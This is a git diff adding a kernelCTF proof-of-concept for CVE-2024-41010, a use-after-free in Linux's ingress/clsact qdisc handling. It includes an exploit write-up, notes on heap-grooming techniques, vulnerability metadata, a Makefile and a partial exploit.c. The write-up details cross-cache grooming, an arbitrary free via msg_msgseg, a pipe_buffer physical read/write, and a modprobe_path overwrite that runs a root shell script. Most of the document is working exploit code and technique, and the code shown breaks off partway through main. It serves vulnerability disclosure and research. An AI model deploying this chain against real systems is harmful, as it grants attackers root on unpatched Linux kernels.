diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/exploit.md new file mode 100644 index 00000000..8e9673db --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/exploit.md @@ -0,0 +1,266 @@ +# CVE-2024-41010 Exploit + +## Root-cause +Looking at the lifecycle of `tcx_entry`, we can see that it's first allocated when initializing a new ingress/clsact qdisc in `ingress_init` and similar functions: +```c +static int ingress_init(struct Qdisc *sch, struct nlattr *opt, + struct netlink_ext_ack *extack) +{ + struct ingress_sched_data *q = qdisc_priv(sch); + struct net_device *dev = qdisc_dev(sch); + struct bpf_mprog_entry *entry; + bool created; + int err; + + if (sch->parent != TC_H_INGRESS) + return -EOPNOTSUPP; + + net_inc_ingress_queue(); + + entry = tcx_entry_fetch_or_create(dev, true, &created); // [1] + if (!entry) + return -ENOMEM; + tcx_miniq_set_active(entry, true); // [2] + mini_qdisc_pair_init(&q->miniqp, sch, &tcx_entry(entry)->miniq); // [3] + if (created) + tcx_entry_update(dev, entry, true); + + q->block_info.binder_type = FLOW_BLOCK_BINDER_TYPE_CLSACT_INGRESS; + q->block_info.chain_head_change = clsact_chain_head_change; + q->block_info.chain_head_change_priv = &q->miniqp; // [4] + + err = tcf_block_get_ext(&q->block, sch, &q->block_info, extack); + if (err) + return err; + + mini_qdisc_pair_block_init(&q->miniqp, q->block); + + return 0; +} +``` +At [1], `tcx_entry_fetch_or_create` is called to either allocate or fetch an existing `tcx_entry` (wrapped by `bpf_mprog_entry`): +```c +static inline struct bpf_mprog_entry * +tcx_entry_fetch_or_create(struct net_device *dev, bool ingress, bool *created) +{ + struct bpf_mprog_entry *entry = tcx_entry_fetch(dev, ingress); // [5] + + *created = false; + if (!entry) { + entry = tcx_entry_create(); + if (!entry) + return NULL; + *created = true; + } + return entry; +} +``` +At [2], `tcx_miniq_set_active` is called to set `tcx_entry->miniq_active` to `true`, then at [3], `&tcx_entry(entry)->miniq` (basically a pointer to the first field of `tcx_entry`) is stored at `&q->miniqp`, which is then copied to `q->block_info.chain_head_change_priv` at [4]. +If we now also look into the process of releasing an ingress qdisc we can notice something quite interesting: +```c +static void ingress_destroy(struct Qdisc *sch) +{ + struct ingress_sched_data *q = qdisc_priv(sch); + struct net_device *dev = qdisc_dev(sch); + struct bpf_mprog_entry *entry = rtnl_dereference(dev->tcx_ingress); + + if (sch->parent != TC_H_INGRESS) + return; + + tcf_block_put_ext(q->block, sch, &q->block_info); + + if (entry) { + tcx_miniq_set_active(entry, false); + if (!tcx_entry_is_active(entry)) { + tcx_entry_update(dev, NULL, true); + tcx_entry_free(entry); + } + } + + net_dec_ingress_queue(); +} +``` +In `ingress_destroy`, if there is an existing `tcx_entry` bound to the net device, then it changes the `tcx_entry->miniq_active` bool to false, then calls `tcx_entry_is_active(entry)` to determine if `tcx_entry` is still in use, and if it's not, we remove the reference from the net device and free `tcx_entry`. Let's have a look at `tcx_entry_is_active` now: +```c +static inline bool tcx_entry_is_active(struct bpf_mprog_entry *entry) +{ + ASSERT_RTNL(); + return bpf_mprog_total(entry) || tcx_entry(entry)->miniq_active; +} +``` +It checks if the entry either has any bpf programs currently attached to it since they will have a view of the entry or if the `miniq_active` bool is true, which would mean the qdisc view still exists, but since destroying the qdisc sets this to false, if we don't attach any programs, this will always return false and enter the free path. +This raises the question of what could happen if another qdisc fetched the same entry and referenced it and then we deleted the first qdisc, causing the entry to be deleted as well. At this point it's probably worth noting that, in my understanding, you can't really have 2 ingress qdiscs co-exist in the same net device and creating a new one will make the old qdisc be deleted. However, interestingly enough, creating a new ingress qdisc will call `ingress_init()` for the new qdisc before ever calling `ingress_destroy()` for the old one, so the reference can get duplicated right before freeing `tcx_entry` by simply creating a ingress qdisc twice in a row. After the first qdisc gets deleted, the second one still has a pointer to `tcx_entry` in `q->block_info.chain_head_change_priv` which later can get dereferenced in the call to `mini_qdisc_pair_swap()` in the following call chain: +```c +[...] +static void tcf_chain0_head_change(struct tcf_chain *chain, + struct tcf_proto *tp_head) +{ + struct tcf_filter_chain_list_item *item; + struct tcf_block *block = chain->block; + + if (chain->index) + return; + + mutex_lock(&block->lock); + list_for_each_entry(item, &block->chain0.filter_chain_list, list) + tcf_chain_head_change_item(item, tp_head); + mutex_unlock(&block->lock); +} +[...] +static void tcf_chain_head_change_item(struct tcf_filter_chain_list_item *item, + struct tcf_proto *tp_head) +{ + if (item->chain_head_change) + item->chain_head_change(tp_head, item->chain_head_change_priv); +} +[...] +static void clsact_chain_head_change(struct tcf_proto *tp_head, void *priv) +{ + struct mini_Qdisc_pair *miniqp = priv; + + mini_qdisc_pair_swap(miniqp, tp_head); +}; +``` +Which we can reach by adding or removing traffic control filters from this qdisc. + +## Triggering vulnerability +- Create a new ingress/clsact qdisc +- Create a second ingress/clasct qdisc, which will cause the following to happen: + - reuse tcx_entry reference + - delete tcx_entry + - delete first qdisc +- add a filter to second qdisc which will dereference the dangling pointer and overwrite the first qword of the UAF object with a pointer to the qdisc struct or NULL + +The dangling pointer is dereferenced in the `mini_qdisc_pair_swap` function: +```c +void mini_qdisc_pair_swap(struct mini_Qdisc_pair *miniqp, + struct tcf_proto *tp_head) +{ + /* Protected with chain0->filter_chain_lock. + * Can't access chain directly because tp_head can be NULL. + */ + struct mini_Qdisc *miniq_old = + rcu_dereference_protected(*miniqp->p_miniq, 1); // [1] + struct mini_Qdisc *miniq; + + if (!tp_head) { + RCU_INIT_POINTER(*miniqp->p_miniq, NULL); // [2] + } else { + miniq = miniq_old != &miniqp->miniq1 ? + &miniqp->miniq1 : &miniqp->miniq2; + + /* We need to make sure that readers won't see the miniq + * we are about to modify. So ensure that at least one RCU + * grace period has elapsed since the miniq was made + * inactive. + */ + if (IS_ENABLED(CONFIG_PREEMPT_RT)) + cond_synchronize_rcu(miniq->rcu_state); + else if (!poll_state_synchronize_rcu(miniq->rcu_state)) + synchronize_rcu_expedited(); + + miniq->filter_list = tp_head; + rcu_assign_pointer(*miniqp->p_miniq, miniq); // [3] + } + + if (miniq_old) + /* This is counterpart of the rcu sync above. We need to + * block potential new user of miniq_old until all readers + * are not seeing it. + */ + miniq_old->rcu_state = start_poll_synchronize_rcu(); // [4] +} +``` + +## Limited UAF +Keep in mind that `miniqp` is the first field of `struct tcx_entry` and `miniq` is a field of `struct Qdisc`, so `miniqp->p_miniq` is a pointer to somewhere in the middle of a qdisc that gets stored at the start of a `struct tcx_entry`. Also, `tcx_entry` lives in kmalloc-2k. +Notice that, at [2], if `tp_head` is NULL, it writes NULL to `miniqp->p_miniq`, which is at the start of `tcx_entry` and if `tp_head` is not NULL, it writes a pointer to `miniq` at [3], writing the pointer to the middle of a qdisc at the start of `tcx_entry`. We can control whether or not `tp_head` is NULL, so we could try to write NULL. An idea that might come to mind is targeting refcounts with the NULL write, however, there is a catch: at [1] it reads the original value at the first qword of the UAF object before being overwritten, and later at [4], if it's not NULL, it will get dereferenced as a pointer. So our options are limited to victim objects that either have NULL in the first qword or that already have a pointer in the first qword and would do something interesting if we overwrote it with either NULL or a different pointer. + +## Escalate to arbitrary free +My approach was cross-caching from kmalloc-2k to kmalloc-cg-2k to get access to `msg_msgseg` objects and replace the `msg_msgseg->next` pointer with the `miniq` pointer. This is particularly interesting in our case given that the first field of `struct mini_Qdisc` is `filter_list`, which is a linked list of `struct tcf_proto` objects bound to filters we can allocate and free at will. Combine this with the fact that reading a `msg_msgseg` will free whatever if at `msg_msgseg->next` until it finds NULL and we have a very strong arbitrary free instrument. +```c +void free_msg(struct msg_msg *msg) +{ + struct msg_msgseg *seg; + + security_msg_msg_free(msg); + + seg = msg->next; + kfree(msg); + while (seg != NULL) { + struct msg_msgseg *tmp = seg->next; + + cond_resched(); + kfree(seg); + seg = tmp; + } +} +``` +This allow us to do the following: +- make `tcx_entry` dangling +- replace it with `msg_msgseg` +- add a filter to qdisc (this will both add a `tcf_proto` to the linked list with head at `miniq` and write the `miniq` pointer at `msg_msgseg->next`) +- read `msg_msgseg`, which will cause it to get freed and also interate over `filter_list`, freeing everything until it finds NULL, so it will free our `tcf_proto`, which lives at kmalloc-128. + +## Reaching for kmalloc-cg-1k +The end goal of my exploit was to reach get a double free in kmalloc-cg-1k to overlap `pipe_buffer` with `skbuf->data` and win. In order to do that, I had to go through some intermediate steps in other caches though. + +### Getting a pointer to kmalloc-cg-512 +Once I had arbitrary free in kmalloc-128, I decided to once again cross-cache, this time from kmalloc-128 to kmalloc-cg-128 by spraying `msg_msgseg` and reusing our arbitrary free primitive to free a `msg_msgseg` object in kmalloc-cg-128. At this point my goal was to get some object that could give me a pointer to kmalloc-cg-1k so I could overlap our new, fully controllable, `msg_msgseg->next` with it. My first idea was to overlap it with a `msg_msg` object, however, this would end up linking the `msg_msgseg` into the circular `msg_msg` list, and cause a hang while freeing `msg_msgseg` because it would iterate endlessly. After going through some structs, I came across `struct in_ifaddr`: +```c + struct hlist_node hash; + struct in_ifaddr __rcu *ifa_next; + struct in_device *ifa_dev; + struct rcu_head rcu_head; + __be32 ifa_local; + __be32 ifa_address; + __be32 ifa_mask; + __u32 ifa_rt_priority; + __be32 ifa_broadcast; + unsigned char ifa_scope; + unsigned char ifa_prefixlen; + unsigned char ifa_proto; + __u32 ifa_flags; + char ifa_label[IFNAMSIZ]; + + /* In seconds, relative to tstamp. Expiry is at tstamp + HZ * lft. */ + __u32 ifa_valid_lft; + __u32 ifa_preferred_lft; + unsigned long ifa_cstamp; /* created timestamp */ + unsigned long ifa_tstamp; /* updated timestamp */ +}; +``` +This is particularly interesting for mainly 2 reasons: +- I can read the `ifa_dev` pointer, which will allow me to leak a pointer to a `struct in_device` object in kmalloc-512 +- When spraying, I can use the `ifa_address` field as an identifier, so I can know which sprayed object overlapped `msg_msgseg` +A kmalloc-512 pointer is not what I wanted initially, but good enough. It's relatively easy to allocated kmalloc-cg-512 pages adjacent to kmalloc-512 pages because they belong to the same page order. With this in mind, I allocated a huge padding of kmalloc-cg-512 `skbuf->data` before allocating `in_device`, so when I receive the leak I simply subtract an arbitrary offset that should dislocate the pointer to somewhere in the middle of the `skbuf->data` spray. + +### kmalloc-cg-128 -> kmalloc-cg-512 +Now that we have a pointer to a `skbuf->data` object in kmalloc-cfg-512, we need to somehow write it to our controllable `msg_msgseg` in order to free it. While many handy data spray techniques seem to be dead by now, I ended up coming across a (seemly novel) object that could do the job. +```c +static int rtnl_alt_ifname(int cmd, struct net_device *dev, struct nlattr *attr, + bool *changed, struct netlink_ext_ack *extack) +{ + char *alt_ifname; + size_t size; + int err; + + err = nla_validate(attr, attr->nla_len, IFLA_MAX, ifla_policy, extack); +[...] + alt_ifname = nla_strdup(attr, GFP_KERNEL_ACCOUNT); +[...] + kfree(alt_ifname); + if (!err) + *changed = true; + return err; +} +``` +The `alt_ifname` object is a temporary buffer where user data is stored with an arbitrary size, allocated with `GFP_KERNEL_ACCOUNT`. Keep in mind that `rtnl_alt_ifname` is only called from contexts where the rtnl lock is acquired, so spawning multiple threads to race and spray the temporary buffer won't work, so we have to make sure the object we want to overwrite is first on the freelist. +One way of doing this is incrementally allocating other `msg_msgseg` objects and checking our corrupted `msg_msgseg` using `MSG_COPY` to read it without freeing, allowing me to known which of the the new `msg_msgseg` objects just overlapped the target one, and then replace it with the `alt_ifname` buffer, finally allowing me to point `msg_msgseg->next` to a `skbuf->data` object in kmalloc-cg-512 and free it. + +### kmalloc-cg-512 -> kmalloc-cg-1k +kmalloc-cg-512 is already much better than kmalloc-cg-128. We can now overlap a `msg_msg` with our `skbuf->data` object. If we send another message in the same queue as this `msg_msg` object, we'll get a pointer to the second message in the first qword of the first message, so by sending a message that gets allocated on kmalloc-cg-1k we can leak a pointer by reading our `skbuf->data`. If we now slightly increment the pointer, it will point to a different `msg_msg` allocated by our spray, which is owned by a different queue, so we now have a duplicated reference to a `msg_msg` in kmalloc-cg-1k that we can use to get double-free. Manipulating `msg_msg` in that fashion has been covered in detail here: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html + +## pipe_buffer->page physical read/write > win +Once we get to kmalloc-cg-1k we can overlap `skbuf->data` with `pipe_buffer` to control the `pipe_buffer->page` pointer to achieve physical read and write, this technique is thoroughly discussed in https://www.interruptlabs.co.uk/articles/pipe-buffer. +Using this primitive, I overwrite the `modprobe_path` string to point it to a memory file created with `memfd_create`, under `/proc//fd/`. I also bruteforce the pid of the exploit process outside of the sandboxed namespace. This has all been very well described in https://pwning.tech/nftables/#4-techniques \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/novel-techniques.md new file mode 100644 index 00000000..b825e45e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/novel-techniques.md @@ -0,0 +1,88 @@ +# Novel Techniques + +## kmalloc-2k groom/potential target object: `bpf_prog_aux` +```c +struct bpf_prog *bpf_prog_alloc_no_stats(unsigned int size, gfp_t gfp_extra_flags) +{ + gfp_t gfp_flags = bpf_memcg_flags(GFP_KERNEL | __GFP_ZERO | gfp_extra_flags); + struct bpf_prog_aux *aux; +[...] + aux = kzalloc(sizeof(*aux), bpf_memcg_flags(GFP_KERNEL | gfp_extra_flags)); +[...] +} +``` +The `bpf_prog_aux` object gets allocated by the `bpf_prog_alloc_no_stats`. +It can be allocated from userland by creating an empty bpf program: +```c + struct bpf_insn insns[] = { + BPF_MOV64_IMM(BPF_REG_0, 4), + BPF_EXIT_INSN(), + }; +[...] + union bpf_attr prog_attr = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = sizeof(insns) / sizeof(insns[0]), + .insns = (uint64_t)insns, + .license = (uint64_t) "GPL v2", + .log_level = 0, + .log_size = 0, + .log_buf = (uint64_t)0}; + +[...] + /* defrag 2k slab (bpf_prog_aux) */ + int progfd[SPRAY]; + puts("[*] kmalloc-2k defrag"); + for (int i = 0; i < 3 * SPRAY / 4; i++) + { + progfd[i] = bpf(BPF_PROG_LOAD, &prog_attr); + if (progfd[i] == -1) + errout("bpf(BPF_PROG_LOAD)"); + } +``` + +It can be later freed by simply closing the bpf program's fd: +```c + /* free slab containing tcx_entry (return it to buddy) */ + printf("[*] cross-cache (kmalloc-2k -> kmalloc-cg-2k)\n"); + for (int i = SPRAY / 2; i < SPRAY; i++) + close(progfd[i]); +``` + +This is useful for spraying and manipulating heap layout in kmalloc-2k and it's what I ended up using for holding kmalloc-2k slabs that I later return to the page allocator for my cross-cache. It's also worth noting that the first qword is a refcount to track the life time of the bpf program bound to it, which can make it an interesting target for exploitation, however I didn't end up using it for that purpose in my exploit for the reasons described in `exploit.md`, so I'm only mentioning this as a side note. + +## Arbitrary data spray object: `alt_ifname` +```c +static int rtnl_alt_ifname(int cmd, struct net_device *dev, struct nlattr *attr, + bool *changed, struct netlink_ext_ack *extack) +{ + char *alt_ifname; + size_t size; + int err; + + err = nla_validate(attr, attr->nla_len, IFLA_MAX, ifla_policy, extack); +[...] + alt_ifname = nla_strdup(attr, GFP_KERNEL_ACCOUNT); +[...] + kfree(alt_ifname); + if (!err) + *changed = true; + return err; +} +``` +The `alt_ifname` object is a temporary buffer where user data is stored with an arbitrary size, allocated with `GFP_KERNEL_ACCOUNT`. Keep in mind that `rtnl_alt_ifname` is only called from contexts where the rtnl lock is acquired, so spawning multiple threads to race and spray the temporary buffer won't work, so we have to make sure the object we want to overwrite is first on the freelist. + +## Cross-cache stabilization technique/trick +```c + /* create cg-4k partial slabs to avoid disputing buddy pages with cg-2k */ + puts("[*] kmalloc-cg-4k partial slabs"); + for (int i = 0; i < SPRAY; i++) + msgsnd(frag4k[i], msg, 4096 - 48, 0); + for (int i = 8; i < SPRAY; i++) + { + if (!(i % 8)) + continue; + if (msgrcv(frag4k[i], msg, 4096 - 48, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + } +``` +Further improve cross-cache stability by purposefully fragmenting other caches that I don't want to take the freed slab by creating several used slabs and leaving only 1 object left in each of them, creating several partial slabs with freelists that `kmalloc()` can chew on long before it starts asking for new pages. In my exploit, both `msg_msg` in kmalloc-cg-4k and `msg_msgseg` in kmalloc-cg-2k get allocated in the same path, but I want to make sure `msg_msgseg` takes the freed slab from the page allocator. To ensure that, not only I defrag kmalloc-cg-2k (common knowledge) but also frag kmalloc-cg-4k with partial slabs (novel to the best of my knowledge), which took the success rate of this specific step from less than 40% to succeeding the great majority of the time. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/vulnerability.md new file mode 100644 index 00000000..8c988269 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/docs/vulnerability.md @@ -0,0 +1,22 @@ +# Vulneribility + A new `tcx_entry` object is allocated when creating an ingress/clsact qdisc if one does not already exist. However, when creating a second ingress/clsact qdisc, if a `tcx_entry` already exists, it will be reused, so it's possible to have multiple qdiscs referencing the same `tcx_entry` object. For that reason, the `miniq_active` bool used to track the view of `tcx_entry` in qdisc should be replaced by a counter. + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` + - Kernel configuration: `CONFIG_USER_NS`, `CONFIG_NET_SCH_INGRESS` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit e420bed025071a623d2720a92bc2245c84757ecb]( https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e420bed025071a623d2720a92bc2245c84757ecb) + +## Commit which fixed the vulnerability +- [commit 1cb6f0bae50441f4b4b32a28315853b279c7404e](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1cb6f0bae50441f4b4b32a28315853b279c7404e) + +## Affected kernel versions +- 6.6.0 - 6.9.8 + +## Affected component, subsystem +- net/sched (ingress/clsact) + +## Cause +- UAF diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/Makefile b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/Makefile new file mode 100644 index 00000000..43ce7952 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/Makefile @@ -0,0 +1,28 @@ +.PHONY: all clean + +TARGET=exploit + +SOURCES = $(wildcard src/*.c) +HEADERS = $(wildcard inc/*.h) +OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES)) + +CFLAGS= -I./inc -Os +LDFLAGS= -Wall -L/lib/x86_64-linux-gnu/ + +all: obj $(TARGET) + +$(TARGET): obj/exploit.o $(OBJECTS) + gcc $(LDFLAGS) -o $@ $^ -static + +obj/%.o: src/%.c + gcc -c $< -o $@ $(CFLAGS) + +obj/exploit.o: + gcc -c exploit.c -o obj/exploit.o $(CFLAGS) + +obj: + mkdir obj + +clean: + rm -rf obj + rm -f $(TARGET) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit new file mode 100755 index 00000000..5960be50 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c new file mode 100644 index 00000000..78cfc2ff --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c @@ -0,0 +1,1070 @@ +// SPDX-License-Identifier: LOLWTFBBQ-13.37-or-later +/* + * Mimikyu - Linux Kernel 0day Exploit + * + * Authors: Pedro Guerra de Oliveira Pinto, + * + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "rtnetlink.h" +#include "bpf.h" +#include "setup.h" +#include "cls.h" +#include "log.h" + +#define SPRAY 512 +#define SKBUF_SPRAY 128 +#define PIPE_SPRAY SKBUF_SPRAY + 32 + +#define SPRAY_QDISC 0x20000 + +#define MASK 0xfffffffff0000000 +#define PAGE_SIZE 4096 +#define PAGE_SHIFT 12 +#define PHYSICAL_ALIGN 0x200000 + +#define MODPROBE_SCRIPT "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0/proc/%u/fd/%u 2>&1\n" + +#define LOCALHOST 0x200007f + +/* msg_msg helpers */ +#include +#include + +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x43 + +typedef struct +{ + long mtype; + char mtext[0]; +} msg_t; + +struct list_head +{ + struct list_head *next, *prev; +}; + +struct msg_msg +{ + struct list_head m_list; + long m_type; + size_t m_ts; /* message text size */ + uint64_t next; + uint64_t security; + uint8_t text[0]; +}; + +/* pipe_buffer helpers */ +struct pipe_buffer +{ + uint64_t page; + uint32_t offset; + uint32_t len; + uint64_t ops; + uint32_t flags; + uint32_t pad; + uint64_t private; +}; + +/* cross-cache helpers */ +#include + +void packet_socket_rx_ring_init(int s, unsigned int block_size, + unsigned int frame_size, unsigned int block_nr, + unsigned int sizeof_priv, unsigned int timeout) +{ + int v = TPACKET_V3; + int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); + if (rv < 0) + { + errout("setsockopt(PACKET_VERSION)"); + exit(EXIT_FAILURE); + } + + struct tpacket_req3 req; + memset(&req, 0, sizeof(req)); + req.tp_block_size = block_size; + req.tp_frame_size = frame_size; + req.tp_block_nr = block_nr; + req.tp_frame_nr = (block_size * block_nr) / frame_size; + req.tp_retire_blk_tov = timeout; + req.tp_sizeof_priv = sizeof_priv; + req.tp_feature_req_word = 0; + + rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); + if (rv < 0) + { + errout("setsockopt(PACKET_RX_RING)"); + exit(EXIT_FAILURE); + } +} + +int packet_socket_setup(unsigned int block_size, unsigned int frame_size, + unsigned int block_nr, unsigned int sizeof_priv, int timeout) +{ + int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (s < 0) + { + errout("socket(AF_PACKET)"); + exit(EXIT_FAILURE); + } + + packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, + sizeof_priv, timeout); + + struct sockaddr_ll sa; + memset(&sa, 0, sizeof(sa)); + sa.sll_family = PF_PACKET; + sa.sll_protocol = htons(ETH_P_ALL); + sa.sll_ifindex = if_nametoindex("lo"); + sa.sll_hatype = 0; + sa.sll_pkttype = 0; + sa.sll_halen = 0; + + int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); + if (rv < 0) + { + errout("bind(AF_PACKET)"); + exit(EXIT_FAILURE); + } + + return s; +} + +void packet_socket_send(int s, char *buffer, int size) +{ + struct sockaddr_ll sa; + memset(&sa, 0, sizeof(sa)); + sa.sll_ifindex = if_nametoindex("lo"); + sa.sll_halen = ETH_ALEN; + + if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, + sizeof(sa)) < 0) + { + errout("sendto(SOCK_RAW)"); + exit(EXIT_FAILURE); + } +} + +void loopback_send(char *buffer, int size) +{ + int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (s == -1) + { + errout("socket(SOCK_RAW)"); + exit(EXIT_FAILURE); + } + + packet_socket_send(s, buffer, size); +} + +int packet_sock_kmalloc() +{ + int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); + if (s == -1) + { + errout("socket(SOCK_DGRAM)"); + exit(EXIT_FAILURE); + } + return s; +} + +void packet_sock_timer_schedule(int s, int timeout) +{ + packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); +} + +void packet_sock_id_match_trigger(int s) +{ + char buffer[16]; + packet_socket_send(s, &buffer[0], sizeof(buffer)); +} + +int pagealloc_pad(size_t size, int count) +{ + return packet_socket_setup(size, PAGE_SIZE, count, 0, 100); +} + +/* misc helpers */ +int isheap(uint64_t ptr) +{ + int high = ptr >> 44; + if (high >= 0xffff8 && high < 0xfffff) + { + return 1; + } + return 0; +} + +static bool is_kernel_base(unsigned char *addr) +{ + // thanks lau :) + + // get-sig kernel_runtime_1 + if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 && + memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0) + return true; + + // get-sig kernel_runtime_2 + if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 && + memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 && + memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 && + memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 && + memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 && + memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 && + memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 && + memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 && + memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 && + memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 && + memcmp(addr + 0x78, "\xff\xe0", 2) == 0) + return true; + + return false; +} + +bool check_modprobe(char *expected) +{ + char buf[32]; + int fd = open("/proc/sys/kernel/modprobe", O_RDONLY); + if (fd < 0) + { + perror("[-] open(modprobe)"); + } + if (read(fd, buf, 32) < 0) + errout("[-] read"); + if (!strcmp(buf, expected)) + { + close(fd); + return true; + } + close(fd); + return false; +} + +bool trigger_modprobe(int status_fd) +{ + char *argv = NULL; + int fd = memfd_create("", MFD_CLOEXEC); + int status = 0; + + /* avoid corrupted freelist */ + assign_to_core(1); + + if (write(fd, "\xff\xff\xff\xff", 4) < 0) + errout("[-] read"); + fexecve(fd, &argv, &argv); + close(fd); + + if (read(status_fd, &status, 1) < 0) + errout("[-] read"); + if (status) + { + return true; + } + + assign_to_core(0); + return false; +} + +/* Exploit */ +int main(void) +{ + struct sockaddr_nl snl; + char link_name[] = "lo\0"; + uint64_t sock; + unsigned int link_id; + struct rlimit rlim; + + getrlimit(RLIMIT_NOFILE, &rlim); + if (rlim.rlim_cur < 4096) + rlim.rlim_cur = 4096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) + perror("[-] setrlimit"); + + setvbuf(stdin, 0, 2, 0); + setvbuf(stdout, 0, 2, 0); + setvbuf(stderr, 0, 2, 0); + + srand(time(NULL)); + assign_to_core(0); + + // setup I/O for shell + int stdin_fd = dup(STDIN_FILENO); + int stdout_fd = dup(STDOUT_FILENO); + + // setup fake modprobe + int modprobe_fd = memfd_create("", MFD_CLOEXEC); + int status_fd = memfd_create("", 0); + + /* separate netnamespace for spray */ + int parent[2]; + int child[2]; + if (pipe(parent)) + errout("pipe"); + if (pipe(child)) + errout("pipe"); + if (!fork()) + { + char dummy_name[] = "br0\0"; + struct sockaddr_nl dummy_snl; + uint64_t dummy_sock; + unsigned int dummy_link; + char _c; + + if (setup_sandbox() < 0) + errout("sandbox failed"); + + /* netlink socket creation */ + if ((dummy_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)) < 0) + errout("socket"); + + /* source netlink sock */ + memset(&dummy_snl, 0, sizeof(dummy_snl)); + dummy_snl.nl_family = AF_NETLINK; + dummy_snl.nl_pid = getpid(); + if (bind(dummy_sock, (struct sockaddr *)&dummy_snl, sizeof(dummy_snl)) < 0) + errout("bind"); + + /* enable interface */ + rt_newlink(dummy_sock, dummy_name, 64); + printf("[*] dummy ifindex: %i\n", rt_getlink(dummy_sock, dummy_name)); + dummy_link = rt_getlink(dummy_sock, dummy_name); + printf("[*] dummy link: 0x%x\n", dummy_link); + rt_setlink(dummy_sock, dummy_link); + + /* create spray qdisc */ + rt_newqdisc(dummy_sock, dummy_link, 0x10000, 0xffffffff, "drr"); + + /* defrag kmalloc-512 */ + if (read(parent[0], &_c, 1) != 1) // wait + errout("read"); + for (int i = 0; i < SPRAY / 2; i++) + rt_addfilter(dummy_sock, dummy_link, 0x10000, 0xffff8000, i, "route", 1); + if (write(child[1], "", 1) != 1) + errout("write"); + + /* defrag and fill up qdisc slab */ + for (int i = 0; i < SPRAY / 2; i++) + rt_addclass(dummy_sock, dummy_link, i, 0x10000); + + /* alloc dummy qdisc (SLUB double-free bypass) */ + if (read(parent[0], &_c, 1) != 1) // wait + errout("read"); + rt_addclass(dummy_sock, dummy_link, SPRAY / 2, 0x10000); + if (write(child[1], "", 1) != 1) + errout("write"); + + /* delete dummy qdisc (SLUB double-free bypass) */ + if (read(parent[0], &_c, 1) != 1) // wait + errout("read"); + rt_delclass(dummy_sock, dummy_link, SPRAY / 2 - 1, 0x10000); + rt_delclass(dummy_sock, dummy_link, SPRAY / 2, 0x10000); + if (write(child[1], "", 1) != 1) + errout("write"); + + /* cleanup */ + if (read(parent[0], &_c, 1) != 1) // wait + errout("read"); + rt_delqdisc(dummy_sock, dummy_link, 0x10000, 0xffffffff); + close(dummy_sock); + + sleep(13371337); + } + + /* prepare skbuf spray */ + int skbuf512[288][2]; + for (int i = 0; i < 288; i++) + { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, skbuf512[i]) < 0) + errout("socketpair"); + 